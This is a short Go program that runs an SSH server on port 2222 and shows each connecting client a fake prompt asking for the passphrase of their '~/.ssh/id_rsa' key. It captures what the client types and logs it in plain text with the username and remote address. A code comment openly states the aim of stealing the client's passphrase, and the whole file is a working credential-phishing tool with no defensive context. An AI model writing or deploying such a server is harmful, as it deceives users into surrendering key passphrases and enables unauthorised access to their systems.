package main import ( "fmt" "github.com/gliderlabs/ssh" "log" "strings" ) func main() { ssh.Handle(handleConnection) listenErr := ssh.ListenAndServe(":2222", nil) if listenErr != nil { log.Fatalln(listenErr.Error()) } } func handleConnection(s ssh.Session) { // Set up buffer buf := make([]byte, 1) // Send our message fmt.Fprintf(s, "Enter passphrase for key '/home/%s/.ssh/id_rsa': ", s.User()) // Read id_rsa password of our client ;) var readErr error strBuf := "" for readErr == nil && !strings.Contains(strBuf, "\x0D") { _, readErr = s.Read(buf) if string(buf[0]) != "\x0D" { strBuf += string(buf[0]) } else { break } } if readErr == nil { // Print out pass log.Printf("%s@%s: '%s'", s.User(), s.RemoteAddr().String(), strBuf) } else { // Read error - just log that. log.Println(readErr.Error()) } // And close it. s.Exit(1) }